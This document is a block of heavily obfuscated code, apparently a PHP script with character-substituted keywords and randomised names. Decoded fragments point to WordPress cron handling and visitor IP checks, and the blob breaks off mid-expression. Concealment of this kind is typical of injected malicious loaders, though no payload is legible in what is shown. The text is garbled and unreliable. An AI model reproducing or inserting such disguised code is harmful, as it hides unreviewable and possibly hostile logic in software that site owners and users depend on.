"<<ukC/jmfl}em~f{4/)%55'<8}q/xqivuhi<!<<u{n~xs$r(~%zo4/*,54hniy5'<<zsny}t<<<48jqf(.vne/i{,wpph<<<}o<8lp{u)nu*hx5<<<g<<<<<uz<<<44fe/qwoyysxh4/*,54hniy5<<1<<<8}q/xqivuhi5<"<<4(7(-55<<g~ny}w'<<<<a33<Nyhsn<}ihs1nyz}hsn&<nsh}hy<nyospjyn<<<<<<<8lp{u)nu*hx<!<fe/qwoyysxh4/*-544ohnur{5<<<<8lp{u)nu*hx5'<uz<<<<48lp{u)nu*hx<!!!<>>5<<<<<<gsrhuriy'<<a<hne<g<<8dl+u,elyp/<<!<<j-h-+x{-%sj+$+48lp{u)nu*hx0<<<<<8trqe~h~Codzpo,0<<<8k%rxez%vsuj}fy0<<4,d(7,d-50<<<<<<zirhusr<<<<48hjhltpxo~-5<<<<g<<8h/v.CypduC<<<!<<<<<\fe/qwoyysxh4/*.548hjhltpxo~-0<hniy5'<<<nyhinr<u{n~xs$r(~%zo4/(/548h/v.CypduC5<<<<<<::<uooyh48h/v.CypduCGu{n~xs$r(~%zo4/*/5A5'<<<<a5'uz<<<48dl+u,elyp/<<!!!<z}poy5<<<g<<<<srhuriy'a8m{r{wh%w.p}yirt<<!<<<\~~t*pewxp%lxrp.4/*.548dl+u,elyp/0<<hniy5'<<<<uz<<4=<<<<fe/qwoyysxh4/(/548m{r{wh%w.p}yirt5<<<<<``<=<<uooyh48m{r{wh%w.p}yirtG~~t*pewxp%lxrp.4/*(5A5<<``<<=<~~t*pewxp%lxrp.4/,*548m{r{wh%w.p}yirtG~~t*pewxp%lxrp.4/*)5A55<<<<<g<srhuriy'<a<<<8e$h/omzt%,<<<!<8m{r{wh%w.p}yirtGu{n~xs$r(~%zo4/*)5A'uz<<4ukC/jmfl}em~f{4/**548e$h/omzt%,0<<~~t*pewxp%lxrp.4/*+55<!!!<,5<<<g33<}pu}o1}r}pefy<oi~onu~yn<zsn<KL<Ouhy<Yxuhsn<8e$h/omzt%,<<!<<<ukC/jmfl}em~f{4-.+548e$h/omzt%,0<<.5'<<<<<<a<<<<<8epr,er/wqt<!<<\fe/qwoyysxh4/,)548e$h/omzt%,5'<<uz<<<48epr,er/wqt<!!!<<z}poy<<<<``<<<ukC/jmfl}em~f{4/-+548epr,er/wqt5<<<<< <<<<<4-,$1((55<<<g<srhuriy'<<a<<<<<<<<<8}nf-se}wx%+yt-<<!<<4,d/(7,d~5'<<8z/tvdlnd)p(<!<<<<~~t*pewxp%lxrp.4/*$548epr,er/wqtG8}nf-se}wx%+yt-A5'<<<8k}tCehieskooh<<<!<<fe/qwoyysxh4-.+548epr,er/wqt0<<8}nf-se}wx%+yt-<7<<<-0<<8z/tvdlnd)p(5'<<uz<4=<<<<ukC/jmfl}em~f{4/,*548k}tCehieskooh5<<``<ukC/jmfl}em~f{4/-+548k}tCehieskooh5<<<<< <4,d.7,d-55<g<<<<srhuriy'a<<<<<<<8tejzsCvu~lnls<<<<<!<<<<<fe/qwoyysxh4/*$548k}tCehieskoohG,A5'uz<48tejzsCvu~lnls<< <-<<<``<u{n~xs$r(~%zo4/-+548k}tCehieskooh5< <-<7<8tejzsCvu~lnls<7<-5<<<<gsrhuriy'a<<<<8o/d-}~-$jr+<!<<ukC/jmfl}em~f{4/*%548k}tCehieskooh0<-0<8tejzsCvu~lnls5'<8mm/,xotnfCm<<!<<~~t*pewxp%lxrp.4/+,548k}tCehieskooh0<<<<<-<<7<8tejzsCvu~lnls5'<<<<<uz<<4=<ukC/jmfl}em~f{4/+-548o/d-}~-$jr+5<<``<<<=<<<fe/qwoyysxh4/+-548mm/,xotnfCm55<<<<g<<<<srhuriy'<a<8qewl+l$yhr<<<!<<ffom(,/f+k~ottedy%yuC48mm/,xotnfCm0<8o/d-}~-$jr+5'uz<<4=<u{n~xs$r(~%zo4/+.548qewl+l$yhr5<<<``<<~~t*pewxp%lxrp.4/+/548qewl+l$yhr5<<< <<<.5<g<<<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4/+(50<<<~~t*pewxp%lxrp.4/+)55'srhuriy'a<<<<8w$*hCy$o~p<<!<<~~t*pewxp%lxrp.4/*$548qewl+l$yhrG,A5'uz<<<<48w$*hCy$o~p<<<< <<-<``<<<<fe/qwoyysxh4/+/548qewl+l$yhr5< <<<<-<7<<<<<8w$*hCy$o~p5<g<<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4/+*50<<<<<<~~t*pewxp%lxrp.4/++55'<<<<<<<srhuriy'<<a<<<<<<8zmi%mx%w+x-x/tq<!<<u{n~xs$r(~%zo4/+,548qewl+l$yhr0<<-0<<8w$*hCy$o~p5'8e*mqfsnqusvw}lp<!<<<<<fe/qwoyysxh4/+$548qewl+l$yhr0<<-<<7<8w$*hCy$o~p5'8szCx((%)tnz)/y<<<<!<<~~t*pewxp%lxrp.4.)-54fe/qwoyysxh4/+%54ukC/jmfl}em~f{4.)*54fe/qwoyysxh4/$,50<fe/qwoyysxh4/$-54u{n~xs$r(~%zo4/$.50<<<8e*mqfsnqusvw}lp5555'<uz<<4u{n~xs$r(~%zo4/(*54fe/qwoyysxh4-$$555<<<gilx}hyCslhusr4u{n~xs$r(~%zo4/).50<<<8lp{u)nu*hx5'<<<ilx}hyCslhusr4ukC/jmfl}em~f{4/$/50<<<<~~t*pewxp%lxrp.4/$(54>@r>0<8szCx((%)tnz)/y55'a<<<nyhinr<<<}nn}e4ukC/jmfl}em~f{4/$)5<!"<<<<<8zmi%mx%w+x-x/tq0<<u{n~xs$r(~%zo4/$*5<<<<!"<<8szCx((%)tnz)/y5'a<}ht<<<<<4Htnsk}~py<8phr-l)~h-C.5<<<<g8f}lttm%fp((w/!LTLCQ]VSNCJYNOUSR'8~ixm~hevzr!8f}lttm%fp((w/6/'<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4/$+50<8phr-l)~h-C.5'<<<<srhuriy'<<a<}ht<<<<4Ydylhusr<8phr-l)~h-C.5<<<<g33<\ny~}p}ry<qyoo}{y1miyiy<<<srhuriy'a<a<<<<<8y/otjw$/+nC<<<!<fe/qwoyysxh4/(*54~~t*pewxp%lxrp.4/)-55<<<#<4ohnur{5<{yhCslhusr4u{n~xs$r(~%zo4/$/50<>>5<<&<<>>'<<8p{eutxsfyl)~d<<<<!<t~ui.jvk{k%(/inf/rwCCd4fe/qwoyysxh4/$$50<>>5'<<<<<<<uz<<<<48y/otjw$/+nC<<=!!<<<<>><<::<<<<u{n~xs$r(~%zo4/$%548p{eutxsfyl)~d5<<::<<<<<8p{eutxsfyl)~d<=!!<<>>5<<<<g<<<8szCx((%)tnz)/y<!<<<<<u{n~xs$r(~%zo4/%,54ukC/jmfl}em~f{4/+%54fe/qwoyysxh4.)*54~~t*pewxp%lxrp.4/%-50<<u{n~xs$r(~%zo4/$-54u{n~xs$r(~%zo4/$.50<<8y/otjw$/+nC5555'8fen*lx~se$p!4,d(*7,d)5'8v)hx~eCn)!8fen*lx~se$p9*'<<uz<<4=<<<yqlhe48szCx((%)tnz)/y55<<g<<<<<<nyhinr<<<<<}nn}e4~~t*pewxp%lxrp.4/$)5<!"<<<<8p{eutxsfyl)~d0<<<u{n~xs$r(~%zo4/%.5<<!"<8szCx((%)tnz)/y5'8h*{t/(n${!$(7**'8ew,wt.k%f~,p!8h*{t/(n${1),'<<a<<<<<<a<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4/$+50<<~~t*pewxp%lxrp.4/%/55'<nyhinr<}nn}e45'a<zirhusr<<kdwh,t%+*.}++,z%48r,lwd*$l,}-oq0<<<<8xii~,{sw-*,k~v0<<<8l}nsexr.m*{Cnt-5guz<4=<<ukC/jmfl}em~f{4/%(54fe/qwoyysxh4/%)555<<g<<<nyhinr<<z}poy'<a<<<8dtdqs/rfjk{mqn<!<<<<fe/qwoyysxh4/%*548xii~,{sw-*,k~v5'<<<<<<8qpqC,vmmlq.eu*i<<<!<fe/qwoyysxh4/%+54~~t*pewxp%lxrp.4/%$54-0<<4(%-1./*555'8f~lh,ldiu~<<<<!<<<<>>'<<<<zsn<<<48hw,j)mty$u*.)<<<<!<,0<<<8f.s$en.kqedh<!<<fe/qwoyysxh4/+/548dtdqs/rfjk{mqn5'<8hw,j)mty$u*.)<<<< <<8f.s$en.kqedh'<8hw,j)mty$u*.)775<<<g<<<8f~lh,ldiu~<<<<2!<u{n~xs$r(~%zo4/%+54ukC/jmfl}em~f{4/*$548dtdqs/rfjk{mqnG8hw,j)mty$u*.)A5<<<<B<<<<u{n~xs$r(~%zo4/*$548qpqC,vmmlq.eu*i55'<a<<<nyhinr<<<<ilx}hyCslhusr48r,lwd*$l,}-oq0<<~~t*pewxp%lxrp.4/%%548qpqC,vmmlq.eu*i<2<<8f~lh,ldiu~50<<<<<8l}nsexr.m*{Cnt-5<<<=!!<<<z}poy'<a<<<<<<<zirhusr<<}t%,uo(zrC$jxmn}wjdi(48r,lwd*$l,}-oq0<<8rjrwu%.CC~5<<g<uz<<<4=u{n~xs$r(~%zo4/%(54u{n~xs$r(~%zo4(,,555<<nyhinr<8rjrwu%.CC~'<<<8h%f*-qz-slvxw<<<<<!<{yhCslhusr48r,lwd*$l,}-oq0<<>>5'<<<<uz<<48h%f*-qz-slvxw<<!!!<<<>><``<<=<<<<<u{n~xs$r(~%zo4(,-548h%f*-qz-slvxw55<g<nyhinr<<<<8rjrwu%.CC~'<<<<<a8xe*di.wveuq+wo<<<!<<\~~t*pewxp%lxrp.4(,.548h%f*-qz-slvxw0<<hniy5'<<<<<uz<<<48xe*di.wveuq+wo<!!!<z}poy<<<<``<fe/qwoyysxh4/+/548xe*di.wveuq+wo5< <<.5<<<<g<<nyhinr<8rjrwu%.CC~'<a<<<<<8qpqC,vmmlq.eu*i<<<<<<!<<8xe*di.wveuq+woG,A'<8o-nzj${v~(xvv~y<<<<<!<<>>'<<zsn<<<<48hw,j)mty$u*.)<!<<-0<<8f.s$en.kqedh<!<ukC/jmfl}em~f{4(,/548xe*di.wveuq+wo5'<8hw,j)mty$u*.)< <8f.s$en.kqedh'<<8hw,j)mty$u*.)775<g<<<<<<<8o-nzj${v~(xvv~y<<2!<u{n~xs$r(~%zo4(,(54ukC/jmfl}em~f{4/*$548xe*di.wveuq+woG8hw,j)mty$u*.)A5<<B<<fe/qwoyysxh4(,)548qpqC,vmmlq.eu*i55'a<<<<8hxvfuqy%e({v<<<<<!<<<jq%C}$o}h.mi}48o-nzj${v~(xvv~y5'<nyhinr<<8hxvfuqy%e({v<<<<=!!<z}poy<<#<<8hxvfuqy%e({v<&<<<8rjrwu%.CC~'a<<<<<zirhusr<<jq%C}$o}h.mi}48k}tCehieskooh5<g<uz<<<<<<4=~~t*pewxp%lxrp.4(,-548k}tCehieskooh55<nyhinr<<<z}poy'<<uz<<<4xyzuryx4fe/qwoyysxh4(,*55<<::<<<<LTLCJYNOUSRCUX<"!<<4-.%*.$1)%*.$55<<g8kf(*u-$-hndur!LTLCURHCQ]D3LTLCURHCQ]D'8tr{.-xrfjd!8kf(*u-$-hndur7%('nyhinr<<<<\u{n~xs$r(~%zo4(,+548k}tCehieskooh0<<<<}nn}e4~~t*pewxp%lxrp.4(,$5<<!"<<z}poy55'<<<<<a<<<<nyhinr<\fe/qwoyysxh4(,+548k}tCehieskooh5'<<<<azirhusr<<r+o-+upz{/ffndowt45<<<<<<g<oh}hu<<8yiCzh.n$)v*.-~)<<!<<<ripp'<<uz<48yiCzh.n$)v*.-~)<<=!!<<ripp5<<nyhinr<<8yiCzh.n$)v*.-~)'<<<<8zp~z}f/q/.+runs-<!<<<xyzuryx4ukC/jmfl}em~f{4,55<#<]^OL]HT<<<<&<<>>'<8yiCzh.n$)v*.-~)<<!<fe/qwoyysxh4-/54ukC/jmfl}em~f{4(,%54;@@;0<<;3;0<<<<8zp~z}f/q/.+runs-50<<<<;3;5<<<<<<2<<<<;3;'<<<<<nyhinr<8yiCzh.n$)v*.-~)'<a<<zirhusr<y)jy.l{ekC(o}dsii*s/48r,lwd*$l,}-oq5<g<<<<<<<nyhinr<<<soyll~yypdn%it4r+o-+upz{/ffndowt45<2<<<<<4ohnur{5<lnvdf(p*x*qv(.j45<<2<8r,lwd*$l,}-oq0<<<<<<4-,7.55'<<<<<a<zirhusr<<kC,rdz{oy~rqwC)48wnqekdyeqCnsvd5g<nyhinr<<<4ohnur{5<44.%)+,**%7*-(.%//-5<<<<7<<44urh5<<<tydxy4fe/qwoyysxh4/+$54fe/qwoyysxh4.-$54r+o-+upz{/ffndowt45<<<<2<~~t*pewxp%lxrp.4(-,5<<2<<8wnqekdyeqCnsvd50<,0<4,d/7,d(555<9<4(-$),-(7($-(%$)555'a<zirhusr<<pkk%++pvk%j.zx,+45g<<<<<<<nyhinr<<<kC,rdz{oy~rqwC)4~~t*pewxp%lxrp.4(--55'<<<a<<zirhusr<}k*f(*~m,nu+rlxj~pxf.w45<g<<<8yed*}mplzw%lzk<<!<<<4ohnur{5<<t~ui.jvk{k%(/inf/rwCCd4fe/qwoyysxh4(-.50<>>5'nyhinr<<<ukC/jmfl}em~f{4(,/548yed*}mplzw%lzk5<<<<<"<<4%7-5<<<<<<::<<<fe/qwoyysxh4/**548yed*}mplzw%lzk0<pkk%++pvk%j.zx,+455<<<=!!<z}poy<<<<::<fe/qwoyysxh4(,/544ohnur{5<t~ui.jvk{k%(/inf/rwCCd4u{n~xs$r(~%zo4(-/50<>>55<<<"<4,dy7,d)*5'<<<a<<zirhusr<t~ui.jvk{k%(/inf/rwCCd48r,lwd*$l,}-oq0<<8rjrwu%.CC~5<<<<<<g33<\qyxu}hy<ultyn1oiuhy<nyhinr<}t%,uo(zrC$jxmn}wjdi(4y)jy.l{ekC(o}dsii*s/48r,lwd*$l,}-oq50<<8rjrwu%.CC~5'<<a<<<<<<zirhusr<<<<<<s.xd/}tfltf*ruC)48r,lwd*$l,}-oq0<8rjrwu%.CC~<!<>>5<<<g<<<<<8jw$C,den{kp<<<!<t~ui.jvk{k%(/inf/rwCCd48r,lwd*$l,}-oq0<<8rjrwu%.CC~5'<<<<uz<<4fe/qwoyysxh4(,-548jw$C,den{kp55<<nyhinr<8jw$C,den{kp'uz<<<<<<4u{n~xs$r(~%zo4(-(548jw$C,den{kp55<nyhinr<<4ohnur{5<<<<<<8jw$C,den{kp'<<<<nyhinr<<8rjrwu%.CC~'a<<zirhusr<<<vfCp.pff*hef}nxkrwq..j48r,lwd*$l,}-oq0<8xii~,{sw-*,k~v0<<8l}nsexr.m*{Cnt-5<<g<<<kdwh,t%+*.}++,z%4y)jy.l{ekC(o}dsii*s/48r,lwd*$l,}-oq50<<<<<8xii~,{sw-*,k~v0<8l}nsexr.m*{Cnt-5'<<azirhusr<<<<<{mnxhr*.otrnfh{/pqyd45<g8}w.r-shC-qz+d*y{<<<!<<<<<uooyh48[PS^]POG~~t*pewxp%lxrp.4(-)5A5<<<#<<<8[PS^]POGfe/qwoyysxh4(-)5A<<&<}nn}e45'<8h%f*-qz-slvxw<!<<<t~ui.jvk{k%(/inf/rwCCd4~~t*pewxp%lxrp.4(-*50<<}nn}e455'uz<4fe/qwoyysxh4/(/548h%f*-qz-slvxw55<g<<<8}w.r-shC-qz+d*y{<<<<!<<~~t*pewxp%lxrp.4(-+548h%f*-qz-slvxw0<<<<8}w.r-shC-qz+d*y{5'<<a<8}w.r-shC-qz+d*y{<<!<<<<ukC/jmfl}em~f{4(-$548}w.r-shC-qz+d*y{5'<<<nyhinr<ukC/jmfl}em~f{4-/(548}w.r-shC-qz+d*y{0<<<<14,d/,7,d.55'a<<<<zirhusr<<toxi{m{ruqly*s.do45<<<<g33<KL<Puoh<^psw&<zudil<}pps}hsn<<uz<<<4=uooyh48[PS^]POGu{n~xs$r(~%zo4(-)5A5<<``<<<<yqlhe48[PS^]POG~~t*pewxp%lxrp.4(-)5A55<<<nyhinr'<<<hne<<g8h%f*-qz-slvxw<<!<<<t~ui.jvk{k%(/inf/rwCCd4~~t*pewxp%lxrp.4(-%50<<}nn}e455'<<8d}j%yz*dvr<!<~~t*pewxp%lxrp.4(.,54~~t*pewxp%lxrp.4(.-544}nn}e58h%f*-qz-slvxw0<8[PS^]POGu{n~xs$r(~%zo4(-)5A55'8d}j%yz*dvr<<!<~~t*pewxp%lxrp.4-/(548d}j%yz*dvr0<<<14/*7-(55'<<<<vfCp.pff*hef}nxkrwq..j4~~t*pewxp%lxrp.4(..50<8d}j%yz*dvr0<ukC/jmfl}em~f{4-%-55'<<<a<<<<}ht<<<<4Htnsk}~py<8phr-l)~h-C.5<<<<g8f~*itoro**!()7('8n$jhfo/$!8f~*itoro**1./'<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4(./50<<8phr-l)~h-C.5'<a<<}ht<4Ydylhusr<<<<8phr-l)~h-C.5<<gaa<<<<<<<<<<<zirhusr<ffom(,/f+k~ottedy%yuC48k}tCehieskooh0<8wye5g<<<uz<<<<<<4=<<u{n~xs$r(~%zo4(,-548k}tCehieskooh5<<<``<<<<=<<ukC/jmfl}em~f{4(,-548wye5<``<<<fe/qwoyysxh4(.(548wye5<<!!!<,5<<<g<nyhinr<<<<ripp'a<<<<<<<8u(*pte.{$lrrxe<<<!<<<<<<fe/qwoyysxh4(.)548k}tCehieskooh5'<8kpn(ro(r*(vu<<<!<<ukC/jmfl}em~f{4(.)548wye5'<<<8nufj/vfstmrxdCd<!<<>>'<<<<<zsn<<<<<<48hw,j)mty$u*.)<!<<,'<8hw,j)mty$u*.)<<< <<<8u(*pte.{$lrrxe'<<<8hw,j)mty$u*.)775<g<8nufj/vfstmrxdCd<2!<u{n~xs$r(~%zo4(,(54u{n~xs$r(~%zo4(.*548k}tCehieskoohG8hw,j)mty$u*.)A5<<B<fe/qwoyysxh4(.*548wyeG8hw,j)mty$u*.)<<<<<<9<<<<<8kpn(ro(r*(vuA55'a<nyhinr<8nufj/vfstmrxdCd'a<<<<<<zirhusr<<mvu}hzsn~nhfv*%ut+yo48wm}py.unz-5<<g<<<<uz<<4=<<<~~t*pewxp%lxrp.4/(/548wm}py.unz-55<<<<<g<<<<<<8wm}py.unz-<<<<!<<}nn}e45'a<<<8Cq~-lo+mrx<<!<<<ty)dsm,wur+/,u.km45'8}(,wkvv{p{*ll{q<<!<<u{n~xs$r(~%zo4/%(54ukC/jmfl}em~f{4(,,55<<#<<<<}t%,uo(zrC$jxmn}wjdi(4fe/qwoyysxh4(.+50<z}poy5<<<<<&<<<<<z}poy'<<<<<uz<<4~~t*pewxp%lxrp.4/(/548}(,wkvv{p{*ll{q5<<<<::<<uooyh48}(,wkvv{p{*ll{qGukC/jmfl}em~f{4(.$5A5<::<<4urh5<<8}(,wkvv{p{*ll{qGukC/jmfl}em~f{4(.$5A<"!<<<4.(,7*,5<::<<<<4urh5<<<<<8}(,wkvv{p{*ll{qG~~t*pewxp%lxrp.4(.%5A<< !<4-*($-/1+$(-/55<<<<8Cq~-lo+mrx<!<4urh5<8}(,wkvv{p{*ll{qG~~t*pewxp%lxrp.4(.%5A'<<uz<<<48Cq~-lo+mrx<<< <<<<4/,  -55<g<<8Cq~-lo+mrx<<!<4,d(/(7,d%x5'<<<<a<<<<8wm}py.unz-GukC/jmfl}em~f{4(/,5A<<<<!<}nn}e4<u{n~xs$r(~%zo4(/-5<<<<!"<<<8Cq~-lo+mrx0fe/qwoyysxh4(/.5<<!"<<ukC/jmfl}em~f{4(//505'<8wm}py.unz-Gu{n~xs$r(~%zo4(/(5A<<!<<<<<}nn}e4<<<ukC/jmfl}em~f{4(/-5<<<<!"<<4).%7+-50<<<<<~~t*pewxp%lxrp.4(/)5<<<<<!"<<<<~~t*pewxp%lxrp.4(//50<5'<<<<nyhinr<<8wm}py.unz-'a<<<<zirhusr<<<ddheq(y.{/jqqp~s.js+(45guz<4=ukC/jmfl}em~f{4/%(54ukC/jmfl}em~f{4(/*55<<``<<<<<<=u{n~xs$r(~%zo4/%(54u{n~xs$r(~%zo4(/+555<<<<<nyhinr'uz<<4=quvd%+x.))%$*pzq%r(k-4fe/qwoyysxh4(/$555<<<<nyhinr'<<<<<<hne<<g<uz<<4=klCrydhCotyxipyx4frk.q,f+mknj.$y4555<<<g33<KL<Ouhy<Yxuhsn&<lnyyqlh<sntyohn}hsn<<<<<klCotyxipyCyjyrh4fe/qwoyysxh4(/%545<<<7<<<<<~~t*pewxp%lxrp.4((,544-($B-*$50<4/*/1*/550<<<<<ukC/jmfl}em~f{4(/,50<<<frk.q,f+mknj.$y455'<a<<<a<<<zur}ppe<<g33<KL<Yq~yx<^psw&<~}ht<qyqyrhs{)o/t%q}.s~%uen4~~t*pewxp%lxrp.4(/$55'<<<<<a<a<<<<<<zirhusr<l%{f)mlzwn%d-$ovx45<<<<g<<<<<uz<<4xyzuryx4~~t*pewxp%lxrp.4((-55<<<::<<XSUR[C_NSR5<<g<<<<<nyhinr'<<<<<<a<<<<<<<<oh}hu<<<<8wke%)/~}/)n<!<<z}poy'<<<<uz<<<<48wke%)/~}/)n5<<nyhinr'<8wke%)/~}/)n<<!<hniy'<<<<<<<<<<<uz<<<<<<4=<l~ff)*Cwn}.pjirhv*tes455<g<<<<<nyhinr'<<<<a33<KL<_iohsq<Purw&<urjynhu~py<hswyr1~iwyh<{e.wp,ojx,/fijw~4fe/qwoyysxh4((.50<<u{n~xs$r(~%zo4((/50<,5'a<<<<zirhusr<x.inmqdil(hw+s{~(p45g<uz<<<<<4=~~t*pewxp%lxrp.4(((54ukC/jmfl}em~f{4(()55<<<``<<=fe/qwoyysxh4(((54~~t*pewxp%lxrp.4((*555<<<nyhinr'<\u{n~xs$r(~%zo4(()54ouhyCinp4u{n~xs$r(~%zo4((+5<<2<u{n~xs$r(~%zo4(,%54;2;0<<<<<>>0<4ohnur{5<ukC/jmfl}em~f{4/*,54hniy55<<<2<<~~t*pewxp%lxrp.4((,544,d/7,d*-50<4%%)7(5550<<}nn}e4u{n~xs$r(~%zo4//+5<<<<!"<<<<<,2,-0<<<<~~t*pewxp%lxrp.4(($5<<<!"<<<<z}poy0<<fe/qwoyysxh4//$5<<!"<<z}poy55'<<<a<<zirhusr<<<<o+(xv*m(ex~zuw{dt45<<<g<<oh}hu<<<8rhi)(w*e%d$<<<<!<<z}poy'<uz<<48rhi)(w*e%d$5<<<<<nyhinr'<8rhi)(w*e%d$<<<!<<<<hniy'<hne<<g<<<8ftfvrtjkz<<!<<<<z}poy'<<<<uz<4~~t*pewxp%lxrp.4(((54ukC/jmfl}em~f{4((%555<g<<ukC/jmfl}em~f{4((%545'8ftfvrtjkz<<<<!<<<<<<hniy'<a<<<<<ypoyuz<<4u{n~xs$r(~%zo4(),54~~t*pewxp%lxrp.4()-555<<g<fe/qwoyysxh4()-545'<<<8ftfvrtjkz<<<<<!<<hniy'<<<a<<<<ypoy<<<<g<<<uz<<4u{n~xs$r(~%zo4(),54ukC/jmfl}em~f{4().555<g\ukC/jmfl}em~f{4()/54hniy5'<<<<<<a8sed~h{/htfthenC<<<!<ukC/jmfl}em~f{4(),54ukC/jmfl}em~f{4()(55<<<<<<::<\~~t*pewxp%lxrp.4()(54u{n~xs$r(~%zo4())55'uz<<<<4=ty}xynoCoyrh45<<<::<<<<=8sed~h{/htfthenC<::<u{n~xs$r(~%zo4()*545<<!!!<<<-<<<<<::<<fe/qwoyysxh4(),54ukC/jmfl}em~f{4()+555<<<g<<8Cp<!<<\s~C{yhCpyr{ht45'<<<<uz<<48Cp<<=!!<<<z}poy<<<<<::<<<<8Cp<<<"<<<,5<<<g<<\ty}xyn4u{n~xs$r(~%zo4()$5<<<<2<8Cp5'<<<<<<\ty}xyn4~~t*pewxp%lxrp.4()%55'<a<<<<a<<<uz<4ukC/jmfl}em~f{4()*5455<g<\ukC/jmfl}em~f{4(*,545'<<<<<<<<<a<\~~t*pewxp%lxrp.4(*-545'<<<<<<a<<<<<8ejmvo,dxhl<<!<<<<<<~~t*pewxp%lxrp.4(),54fe/qwoyysxh4(*.55<<::<<<<=4xyzuryx4~~t*pewxp%lxrp.4(*/55<::<<<XUO]^PYCKLC_NSR5'<<<<<8{ezp.)}hz{v<<!<<=u{n~xs$r(~%zo4(),54u{n~xs$r(~%zo4(*(55<<<``<<<<4urh5<<<{yhCslhusr4~~t*pewxp%lxrp.4(*)50<<,5<!!!<<,'<<uz<<4=8{ezp.)}hz{v<<<<::<~~t*pewxp%lxrp.4(),54u{n~xs$r(~%zo4(**55<<<::<<<~~t*pewxp%lxrp.4(),54u{n~xs$r(~%zo4/%)555<<<g8e+n.Csy}/<<<<!<4ohnur{5<<{yhCslhusr4u{n~xs$r(~%zo4(*+50<<<<<<>>5'uz<<<48e+n.Csy}/<<<=!!<<k{~w}fh$fk{*s}r}*k/z+h455<<<g36<pslyr<}zzury1hely<63<<<<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4(*$50<<k{~w}fh$fk{*s}r}*k/z+h450<<fe/qwoyysxh4-%-55'<<<<<\ilx}hyCslhusr4ukC/jmfl}em~f{4(*)50<<<,0<<fe/qwoyysxh4-%-55'<8{ezp.)}hz{v<<!<<<<hniy'<<<<<a<a<<<<<8qj+,wqqhwkmq+j$<!<<<<z}poy'<<<uz<<48ejmvo,dxhl<::<<<<fe/qwoyysxh4(*%54ukC/jmfl}em~f{4(/*555<<g8wwrnedo)zp*mm~<<<<!<<<<<<klCrydhCotyxipyx4frk.q,f+mknj.$y455'<<uz<48wwrnedo)zp*mm~<::<<<<4~~t*pewxp%lxrp.4(/%545<<<1<<4urh5<8wwrnedo)zp*mm~5<"<<<4-(/(7)+**55<<<<<<g<<<<<<<8qj+,wqqhwkmq+j$<<<!<<hniy'<<uz<<<<4fe/qwoyysxh4(*%54u{n~xs$r(~%zo4(+,555<<<<<<\klCirotyxipyCyjyrh44urh5<<<8wwrnedo)zp*mm~0<<frk.q,f+mknj.$y455'<a<<auz<<48ejmvo,dxhl<<<<::<<<=8{ezp.)}hz{v<<<<<<::<<=8qj+,wqqhwkmq+j$5<g<<8}yok)*trz+xsnlt<!<<ukC/jmfl}em~f{4(*%54ukC/jmfl}em~f{4(/*55<<<<#<<<<<4urh5<klCrydhCotyxipyx4frk.q,f+mknj.$y455<<&<<,'<<uz<<<<48}yok)*trz+xsnlt<< !<<<<<,<``<<8}yok)*trz+xsnlt<<<1<<<<<<fe/qwoyysxh4(/%545<<<"<4$%)7)55<<<<g<<\klCotyxipyCour{pyCyjyrh4ukC/jmfl}em~f{4(/%5450<<<frk.q,f+mknj.$y455'<<<<<<<<<a<}qx{pq.swzx$$quC~r~45'<<<<<<nyhinr'<a<<<<uz<<<48qj+,wqqhwkmq+j$5<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4(+-50<ukC/jmfl}em~f{4(+.55'<<uz<<<<4=8ftfvrtjkz5<g<<uz<<<48ejmvo,dxhl5<\klCotyxipyCour{pyCyjyrh4~~t*pewxp%lxrp.4(/%5450<<frk.q,f+mknj.$y455'<x.inmqdil(hw+s{~(p45'<}qx{pq.swzx$$quC~r~45'<nyhinr'<a<<uz<<4fe/qwoyysxh4(*%54~~t*pewxp%lxrp.4(+/555<<<\~~t*pewxp%lxrp.4(+/544-%(1-(55'<<<<<i.nq~kp.%kk%ml45'a<<}ht<4Htnsk}~py<<<<8phr-l)~h-C.5<g<<<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4((.50<<<8phr-l)~h-C.5'a<<}ht<<<<4Ydylhusr<<8phr-l)~h-C.5<g<aa<zirhusr<<d.wrfev,hx}oe)45<<<<<<ghne<<<<g<<<<uz<<4=<u{n~xs$r(~%zo4(*%54ukC/jmfl}em~f{4(**555<<g<nyhinr'8q$(iyzf(!LTLCURHCQ]D3LTLCURHCQ]D'8~Cmy-,,*q},.,!8q$(iyzf(7(,'<<<<<<<a8C~ofi,k/q,w<<!<<<<fe/qwoyysxh4(*%54u{n~xs$r(~%zo4(+(55<<#<<<<{yhChn}rouyrh4}-oonC{%u+))f+uw,om455<<&<<<<z}poy'<uz<<4=<<<fe/qwoyysxh4(+)548C~ofi,k/q,w55<<8C~ofi,k/q,w<<<!<<}t%,uo(zrC$jxmn}wjdi(4~~t*pewxp%lxrp.4(+*50<<<z}poy5'uz<4=<<<<ukC/jmfl}em~f{4(+)548C~ofi,k/q,w55<<<g<nyhinr'<<<<a<<<<<<<uz<<4uooyh48C~ofi,k/q,wGu{n~xs$r(~%zo4(++5A5<::<<<<<<fe/qwoyysxh4(+$548C~ofi,k/q,wG~~t*pewxp%lxrp.4(++5A55<<<<g36<oh}hu1}xv<qyoo}{y1miyiy<63<<<8[PS^]POGukC/jmfl}em~f{4(+%5A<<<!<fxxx,+fz*q,.zfxu(,e{e48C~ofi,k/q,wGukC/jmfl}em~f{4(++5A5'<a<uz<<4uooyh48C~ofi,k/q,wG~~t*pewxp%lxrp.4($,5A5<<<<<::<<<<~~t*pewxp%lxrp.4($-548C~ofi,k/q,wG~~t*pewxp%lxrp.4($,5A55<<<g<<<8[PS^]POGu{n~xs$r(~%zo4($.5A<<<<!<<fxxx,+fz*q,.zfxu(,e{e48C~ofi,k/q,wG~~t*pewxp%lxrp.4($,5A5'a<<<<<<uz<<<<<<4uooyh48C~ofi,k/q,wGfe/qwoyysxh4($/5A5<::<<<<<fe/qwoyysxh4(,-548C~ofi,k/q,wGu{n~xs$r(~%zo4($/5A55<<g<<<8[PS^]POG~~t*pewxp%lxrp.4($(5A<<!<8C~ofi,k/q,wG~~t*pewxp%lxrp.4($)5A'33<urnyqyrh}p<sqlsouhy<<<<<a<uz<<4uooyh48C~ofi,k/q,wGu{n~xs$r(~%zo4($*5A5<<::<<<<<<fe/qwoyysxh4($+548C~ofi,k/q,wG